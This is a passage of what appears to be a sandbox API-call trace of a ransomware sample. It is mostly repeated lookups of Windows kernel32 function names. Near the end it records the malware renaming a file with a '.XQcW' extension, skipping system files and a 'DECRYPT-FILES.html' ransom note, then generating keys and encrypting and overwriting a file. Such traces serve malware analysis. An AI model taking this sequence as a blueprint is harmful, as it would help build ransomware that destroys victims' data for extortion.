lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0130.415] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0130.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0130.415] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0130.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0130.415] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0130.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0130.415] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0130.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0130.415] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0130.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0130.415] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0130.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0130.415] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0130.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0130.415] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0130.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0130.415] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0130.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0130.415] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0130.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0130.415] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0130.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0130.416] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0130.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0130.416] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0130.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0130.416] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0130.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0130.416] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0130.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0130.416] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0130.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0130.416] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0130.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0130.416] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0130.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0130.416] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0130.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0130.416] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0130.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0130.416] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0130.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0130.416] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0130.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0130.416] lstrlenA (lpString="COPYCONTEXT") returned 11 [0130.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0130.416] lstrlenA (lpString="COPYFILE2") returned 9 [0130.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0130.416] lstrlenA (lpString="COPYFILEA") returned 9 [0130.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0130.416] lstrlenA (lpString="COPYFILEEXA") returned 11 [0130.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0130.416] lstrlenA (lpString="COPYFILEEXW") returned 11 [0130.416] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0130.416] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0130.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0130.417] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0130.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0130.417] lstrlenA (lpString="COPYFILEW") returned 9 [0130.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0130.417] lstrlenA (lpString="COPYLZFILE") returned 10 [0130.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0130.417] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0130.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0130.417] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0130.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0130.417] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0130.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0130.417] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0130.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0130.417] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0130.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0130.417] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0130.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0130.417] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0130.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0130.417] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0130.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0130.417] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0130.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0130.417] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0130.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0130.417] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0130.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0130.417] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0130.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0130.417] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0130.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0130.418] lstrlenA (lpString="CREATEEVENTA") returned 12 [0130.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0130.418] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0130.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0130.418] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0130.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0130.418] lstrlenA (lpString="CREATEEVENTW") returned 12 [0130.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0130.418] lstrlenA (lpString="CREATEFIBER") returned 11 [0130.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0130.418] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0130.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0130.418] lstrlenA (lpString="CREATEFILE2") returned 11 [0130.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0130.418] lstrlenA (lpString="CREATEFILEA") returned 11 [0130.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0130.418] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0130.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0130.418] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0130.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0130.418] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0130.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0130.418] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0130.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0130.418] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0130.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0130.418] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0130.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0130.418] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0130.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0130.418] lstrlenA (lpString="CREATEFILEW") returned 11 [0130.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0130.419] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0130.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0130.419] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0130.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0130.419] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0130.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0130.419] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0130.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0130.419] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0130.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0130.419] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0130.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0130.419] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0130.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0130.419] lstrlenA (lpString="CREATEJOBSET") returned 12 [0130.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0130.419] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0130.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0130.419] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0130.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0130.419] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0130.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0130.419] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0130.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0130.419] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0130.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0130.419] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0130.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0130.419] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0130.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0130.419] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0130.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0130.420] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0130.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0130.420] lstrlenA (lpString="CREATEPIPE") returned 10 [0130.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0130.420] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0130.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0130.420] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0130.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0130.420] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0130.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0130.420] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0130.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0130.420] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0130.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0130.420] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0130.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0130.420] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0130.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0130.420] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0130.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0130.420] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0130.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0130.420] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0130.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0130.420] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0130.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0130.420] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0130.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0130.420] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0130.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0130.420] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0130.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0130.421] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0130.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0130.421] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0130.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0130.421] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0130.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0130.421] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0130.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0130.421] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0130.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0130.421] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0130.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0130.421] lstrlenA (lpString="CREATETHREAD") returned 12 [0130.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0130.421] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0130.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0130.421] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0130.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0130.421] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0130.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0130.421] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0130.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0130.421] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0130.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0130.421] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0130.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0130.421] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0130.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0130.422] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1044\\eula.rtf.XQcW") returned 40 [0130.422] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.XQcW" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.xqcw"), dwFlags=0x0) returned 1 [0130.423] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.423] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.423] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.424] FindNextFileW (in: hFindFile=0x3b81280, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0130.424] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="DECRYPT-FILES.html") returned 1 [0130.424] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="autorun.inf") returned 1 [0130.424] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="boot.ini") returned 1 [0130.424] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="desktop.ini") returned 1 [0130.424] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat") returned -1 [0130.424] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="iconcache.db") returned 1 [0130.424] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="bootsect.bak") returned 1 [0130.424] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat.log") returned -1 [0130.424] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="thumbs.db") returned -1 [0130.424] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="Bootfont.bin") returned 1 [0130.424] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\") returned 27 [0130.424] lstrlenW (lpString="LocalizedData.xml") returned 17 [0130.424] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1044\\" | out: lpString1="C:\\588bce7c90097ed212\\1044\\") returned="C:\\588bce7c90097ed212\\1044\\" [0130.424] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1044\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" [0130.424] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0130.424] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0130.425] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=79296) returned 1 [0130.425] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0130.425] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0130.471] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0130.471] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0130.471] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0130.471] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d40000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d40000*, pdwDataLen=0x38be718*=0x100) returned 1 [0130.471] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d50000 [0130.474] VirtualFree (lpAddress=0x2d50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.474] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0130.476] CloseHandle (hObject=0x5f8) returned 1 [0130.476] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.476] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d40000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 